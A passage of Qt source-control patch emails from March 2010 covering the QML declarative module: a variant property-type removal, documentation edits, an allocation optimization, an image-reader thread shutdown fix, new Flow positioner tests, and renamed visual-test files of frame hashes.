"date", Object::DynamicProperty::DateTime, "QDateTime" }, - { "var", Object::DynamicProperty::Variant, "QVariant" }, - { "variant", Object::DynamicProperty::Variant, "QVariant" } + { "var", Object::DynamicProperty::Variant, "QVariant" } }; const int propTypeNameToTypesCount = sizeof(propTypeNameToTypes) / sizeof(propTypeNameToTypes[0]); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml index aef3269..bedab8c 100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicProperties.qml @@ -10,5 +10,4 @@ QtObject { property url urlProperty: "main.qml" property date dateProperty: "1945-09-02" property var varProperty: "Hello World!" - property variant variantProperty: 12 } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index eae78c4..e2cf5ca 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -586,7 +586,6 @@ void tst_qdeclarativelanguage::dynamicProperties() QCOMPARE(object->property("colorProperty"), QVariant(QColor("red"))); QCOMPARE(object->property("dateProperty"), QVariant(QDate(1945, 9, 2))); QCOMPARE(object->property("varProperty"), QVariant("Hello World!")); - QCOMPARE(object->property("variantProperty"), QVariant(12)); } // Test that nested types can use dynamic properties -- cgit v0.12 From 362fec5e99375c0c48691693bf6b297be6f8e00b Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 14:58:32 +1000 Subject: Doc --- doc/src/declarative/extending.qdoc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 3dce8c3..b6aa9da 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -654,9 +654,8 @@ declaring a new property, and the corresponding C++ type. \row \o string \o QString \row \o url \o QUrl \row \o color \o QColor -\row \o date \o QDate +\row \o date \o QDateTime \row \o var \o QVariant -\row \o variant \o QVariant \endtable QML supports two methods for adding a new property to a type: a new property -- cgit v0.12 From c9375c40656e226a985ba73e7c45d2f7a4ea75ab Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 29 Mar 2010 15:13:45 +1000 Subject: Doc. --- doc/src/declarative/globalobject.qdoc | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index 9f6be12..addc192 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -301,4 +301,9 @@ When a database is first created, an INI file is also created specifying its cha This data can be used by application tools. +\section1 Logging + +\c console.log() and \c console.debug() can be used to print information +to the console. See \l{Debugging QML} for more information. + */ -- cgit v0.12 From 28bd5d733ba1b0eedd3fff24ad42ab0e5e87a2e6 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 15:26:30 +1000 Subject: Optimization: reduce allocations --- src/declarative/qml/qdeclarativevmemetaobject.cpp | 6 +++--- src/declarative/qml/qdeclarativevmemetaobject_p.h | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp index 721e1f1..9a7bdd6 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject.cpp +++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp @@ -396,6 +396,7 @@ QDeclarativeVMEMetaObject::QDeclarativeVMEMetaObject(QObject *obj, methodOffset = QAbstractDynamicMetaObject::methodOffset(); data = new QDeclarativeVMEVariant[metaData->propertyCount]; + aConnected.resize(metaData->aliasCount); int list_type = qMetaTypeId >(); @@ -403,7 +404,7 @@ QDeclarativeVMEMetaObject::QDeclarativeVMEMetaObject(QObject *obj, for (int ii = 0; ii < metaData->propertyCount; ++ii) { int t = (metaData->propertyData() + ii)->propertyType; if (t == list_type) { - listProperties.append(new List(methodOffset + ii)); + listProperties.append(List(methodOffset + ii)); data[ii].setValue(listProperties.count() - 1); } } @@ -413,7 +414,6 @@ QDeclarativeVMEMetaObject::~QDeclarativeVMEMetaObject() { compiledData->release(); delete parent; - qDeleteAll(listProperties); delete [] data; delete [] methods; } @@ -505,7 +505,7 @@ int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a) } if (t == qMetaTypeId >()) { int listIndex = data[id].asInt(); - const List *list = listProperties.at(listIndex); + const List *list = &listProperties.at(listIndex); *reinterpret_cast *>(a[0]) = QDeclarativeListProperty(object, (void *)list, list_append, list_count, list_at, diff --git a/src/declarative/qml/qdeclarativevmemetaobject_p.h b/src/declarative/qml/qdeclarativevmemetaobject_p.h index 4718fa7..839f0cd 100644 --- a/src/declarative/qml/qdeclarativevmemetaobject_p.h +++ b/src/declarative/qml/qdeclarativevmemetaobject_p.h @@ -158,7 +158,7 @@ private: List(int lpi) : notifyIndex(lpi) {} int notifyIndex; }; - QList listProperties; + QList listProperties; static void list_append(QDeclarativeListProperty *, QObject *); static int list_count(QDeclarativeListProperty *); -- cgit v0.12 From 7f01d8851f912051b35af7dd078372c9970d45fe Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Mar 2010 15:33:24 +1000 Subject: Make sure the image reader thread is shutdown properly Prevents deadlock on shutdown for very shortlived runs, e.g. autotests --- src/declarative/util/qdeclarativepixmapcache.cpp | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index 1d90bf8..fe5863f 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -114,6 +114,7 @@ private: QList cancelled; QDeclarativeEngine *engine; QDeclarativeImageRequestHandler *handler; + QWaitCondition started; QMutex mutex; static QHash readers; @@ -370,8 +371,15 @@ QDeclarativeImageReader::~QDeclarativeImageReader() readers.remove(engine); readerMutex.unlock(); - quit(); - wait(); + if (isRunning()) { + quit(); + while (!wait(100)) { + // It is possible to for the quit to happen before exec() + // Need to wait until the event loop starts so that we + // can stop it. Particularly likely with an idle thread. + quit(); + } + } } QDeclarativeImageReader *QDeclarativeImageReader::instance(QDeclarativeEngine *engine) @@ -380,6 +388,7 @@ QDeclarativeImageReader *QDeclarativeImageReader::instance(QDeclarativeEngine *e QDeclarativeImageReader *reader = readers.value(engine); if (!reader) { reader = new QDeclarativeImageReader(engine); + reader->started.wait(&readerMutex); readers.insert(engine, reader); } readerMutex.unlock(); @@ -414,7 +423,10 @@ void QDeclarativeImageReader::cancel(QDeclarativePixmapReply *reply) void QDeclarativeImageReader::run() { + readerMutex.lock(); handler = new QDeclarativeImageRequestHandler(this, engine); + started.wakeAll(); + readerMutex.unlock(); exec(); -- cgit v0.12 From 8c50262bfd9239bafdac0fbe03316af2b1e01d98 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Mar 2010 15:56:41 +1000 Subject: Relayout items when Flow size changes. Also add Flow tests. Task-number: QTBUG-9421 --- doc/src/declarative/elements.qdoc | 1 + .../graphicsitems/qdeclarativepositioners.cpp | 3 ++ .../qdeclarativepositioners/data/flowtest.qml | 39 ++++++++++++++ .../tst_qdeclarativepositioners.cpp | 60 ++++++++++++++++++++++ 4 files changed, 103 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index e62d546..8091f95 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -179,6 +179,7 @@ The following table lists the QML elements provided by the Qt Declarative module \o \l Column \o \l Row \o \l Grid +\o \l Flow \endlist \o diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 5e91224..b23b8c9 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -820,6 +820,9 @@ public: QDeclarativeFlow::QDeclarativeFlow(QDeclarativeItem *parent) : QDeclarativeBasePositioner(*(new QDeclarativeFlowPrivate), Both, parent) { + Q_D(QDeclarativeFlow); + // Flow layout requires relayout if its own size changes too. + d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry); } /*! diff --git a/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml new file mode 100644 index 0000000..bd13bac --- /dev/null +++ b/tests/auto/declarative/qdeclarativepositioners/data/flowtest.qml @@ -0,0 +1,39 @@ +import Qt 4.6 + +Item { + width: 90 + height: 480 + Flow { + anchors.fill: parent + Rectangle { + objectName: "one" + color: "red" + width: 50 + height: 50 + } + Rectangle { + objectName: "two" + color: "green" + width: 20 + height: 50 + } + Rectangle { + objectName: "three" + color: "blue" + width: 50 + height: 20 + } + Rectangle { + objectName: "four" + color: "cyan" + width: 50 + height: 50 + } + Rectangle { + objectName: "five" + color: "magenta" + width: 10 + height: 10 + } + } +} diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp index 0e1fee2..9026566 100644 --- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp +++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp @@ -65,6 +65,8 @@ private slots: void test_grid_animated(); void test_propertychanges(); void test_repeater(); + void test_flow(); + void test_flow_resize(); private: QDeclarativeView *createView(const QString &filename); }; @@ -441,6 +443,64 @@ void tst_QDeclarativePositioners::test_repeater() QCOMPARE(three->y(), 0.0); } +void tst_QDeclarativePositioners::test_flow() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 0.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 0.0); + QCOMPARE(three->y(), 50.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 70.0); + QCOMPARE(five->x(), 50.0); + QCOMPARE(five->y(), 70.0); +} + +void tst_QDeclarativePositioners::test_flow_resize() +{ + QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); + + QDeclarativeItem *root = qobject_cast(canvas->rootObject()); + QVERIFY(root); + root->setWidth(125); + + QDeclarativeRectangle *one = canvas->rootObject()->findChild("one"); + QVERIFY(one != 0); + QDeclarativeRectangle *two = canvas->rootObject()->findChild("two"); + QVERIFY(two != 0); + QDeclarativeRectangle *three = canvas->rootObject()->findChild("three"); + QVERIFY(three != 0); + QDeclarativeRectangle *four = canvas->rootObject()->findChild("four"); + QVERIFY(four != 0); + QDeclarativeRectangle *five = canvas->rootObject()->findChild("five"); + QVERIFY(five != 0); + + QCOMPARE(one->x(), 0.0); + QCOMPARE(one->y(), 0.0); + QCOMPARE(two->x(), 50.0); + QCOMPARE(two->y(), 0.0); + QCOMPARE(three->x(), 70.0); + QCOMPARE(three->y(), 0.0); + QCOMPARE(four->x(), 0.0); + QCOMPARE(four->y(), 50.0); + QCOMPARE(five->x(), 50.0); + QCOMPARE(five->y(), 50.0); +} + QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename) { QDeclarativeView *canvas = new QDeclarativeView(0); -- cgit v0.12 From 730dc7099f67c42773907c813366dea51e388964 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 29 Mar 2010 16:08:06 +1000 Subject: Doc QTBUG-9273 --- doc/src/declarative/scope.qdoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc index c588b45..964f7d5 100644 --- a/doc/src/declarative/scope.qdoc +++ b/doc/src/declarative/scope.qdoc @@ -160,7 +160,7 @@ Bindings have access to the scope object's properties without qualification. In the previous example, the binding accesses the \l Item's \c parent property directly, without needing any form of object prefix. QML introduces a more structured, object-oriented approach to JavaScript, and consequently does not -require (although it does support) use of the implicit \c this property. +require the use of the JavaScript \c this property. Care must be used when accessing \l {Attached Properties} from bindings due to their interaction with the scope object. Conceptually attached properties -- cgit v0.12 From 8038a6de9fa6ea8405e33fb2d94aa45b1e2c7093 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 29 Mar 2010 16:20:32 +1000 Subject: Visual test fixes. --- .../data/parentAnimation-visual.qml | 1663 ++++++++++++++++++++ .../parentAnimation/data/parentAnimation.qml | 1663 -------------------- .../parentAnimation/parentAnimation-visual.qml | 68 + .../animation/parentAnimation/parentAnimation.qml | 68 - .../pauseAnimation/data/pauseAnimation-visual.qml | 1619 +++++++++++++++++++ .../pauseAnimation/data/pauseAnimation.qml | 1619 ------------------- .../pauseAnimation/pauseAnimation-visual.qml | 36 + .../animation/pauseAnimation/pauseAnimation.qml | 36 - tests/auto/declarative/qmlvisual/tst_qmlvisual.cpp | 8 +- 9 files changed, 3390 insertions(+), 3390 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml delete mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml delete mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation-visual.qml delete mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/data/pauseAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation-visual.qml delete mode 100644 tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml new file mode 100644 index 0000000..5718560 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation-visual.qml @@ -0,0 +1,1663 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 32 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 48 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 64 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 80 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 96 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 112 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 128 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 144 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 160 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 176 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 192 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 208 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 224 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 240 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 256 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 272 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 288 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 304 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 320 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 336 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 352 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 368 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 384 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 400 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 416 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 432 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 448 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 464 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 480 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 496 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 512 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 528 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 544 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 560 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 576 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 592 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 608 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 624 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 640 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 656 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 672 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 688 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 704 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 720 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 736 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 752 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 768 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 784 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 800 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 816 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 832 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 848 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 864 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 880 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 896 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 912 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 928 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 944 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 960 + image: "parentAnimation.0.png" + } + Frame { + msec: 976 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 992 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1008 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1024 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1040 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1056 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1072 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1088 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1104 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1120 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1136 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1152 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1168 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1184 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1200 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1216 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1232 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1248 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1264 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1280 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1296 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1312 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1328 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1344 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1360 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1376 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1392 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1408 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1424 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1440 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1456 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1472 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1488 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1504 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1520 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1536 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1552 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 1568 + hash: "633b5668278295faa57d0cfffe8a29cb" + } + Frame { + msec: 1584 + hash: "ccbf4505e0f05547d2f7ce874ab941c0" + } + Frame { + msec: 1600 + hash: "be904489959fa365badb642fa9e85922" + } + Frame { + msec: 1616 + hash: "de6a97ac6e2677feb223336199cbffe1" + } + Frame { + msec: 1632 + hash: "997b0a547336a9bb6a67cd9beffe1831" + } + Frame { + msec: 1648 + hash: "ac9a6e111050b8a7c4492f06c33d3969" + } + Frame { + msec: 1664 + hash: "7313c0d2ee06e393f486670222c29bb4" + } + Frame { + msec: 1680 + hash: "24cea420d03d1fdcddb1b9cf5112cbee" + } + Frame { + msec: 1696 + hash: "764688785eeaa01e9c84821476911edb" + } + Frame { + msec: 1712 + hash: "b24ae0cb512abfd2606ff9c20a6751bf" + } + Frame { + msec: 1728 + hash: "f1daed3391f10e27435a54222df8d0ab" + } + Frame { + msec: 1744 + hash: "99704e182267f2c12d0215b9c03f4d68" + } + Frame { + msec: 1760 + hash: "143cd9259a41b8af5d41a5b2aaf8de64" + } + Frame { + msec: 1776 + hash: "b5f0a0f838b5870c162a24cd767f068b" + } + Frame { + msec: 1792 + hash: "c5c8cdcbfab7466e447eaff582bf7312" + } + Frame { + msec: 1808 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1824 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1840 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1856 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1872 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1888 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1904 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1920 + image: "parentAnimation.1.png" + } + Frame { + msec: 1936 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1952 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1968 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 1984 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2000 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2016 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2032 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2048 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2064 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2080 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2096 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2112 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2128 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2144 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2160 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2176 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2192 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2208 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2224 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2240 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2256 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2272 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2288 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2304 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2320 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2336 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2352 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2368 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2384 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2400 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2416 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2432 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2448 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2464 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2480 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 237; y: 299 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2496 + hash: "f1bc451d1f62cfb5dd60a7ea483d3844" + } + Frame { + msec: 2512 + hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" + } + Frame { + msec: 2528 + hash: "ec0e68c2e7a75fedd1091ce633dadd4f" + } + Frame { + msec: 2544 + hash: "a5d60efc176dee9083a2d746e7ad8315" + } + Frame { + msec: 2560 + hash: "48bcbbacf413080247f818e35e496e04" + } + Frame { + msec: 2576 + hash: "c521af8efa19fbac39119ad75cd469f5" + } + Frame { + msec: 2592 + hash: "0e74613c67fc9d9acb21a3d382c5efcd" + } + Frame { + msec: 2608 + hash: "eeb3f4467ebd7ee678c3b7371db28519" + } + Frame { + msec: 2624 + hash: "9c5b9009a35b74d0ddec8fec85f204bf" + } + Frame { + msec: 2640 + hash: "aefc70824e23428aebf0a40830a57469" + } + Frame { + msec: 2656 + hash: "1fa9c23760193b74b0063b4e4c434070" + } + Frame { + msec: 2672 + hash: "8091700d4729163bd87521385853e608" + } + Frame { + msec: 2688 + hash: "a13558e609570f9390f20a85d244fa22" + } + Frame { + msec: 2704 + hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" + } + Frame { + msec: 2720 + hash: "51c8ae31f858121d86ef09cc9a5c5ef3" + } + Frame { + msec: 2736 + hash: "84ce8f39207f4b07c2c3323425a8c238" + } + Frame { + msec: 2752 + hash: "4135271d78a5c63c3837a09c86f35ebe" + } + Frame { + msec: 2768 + hash: 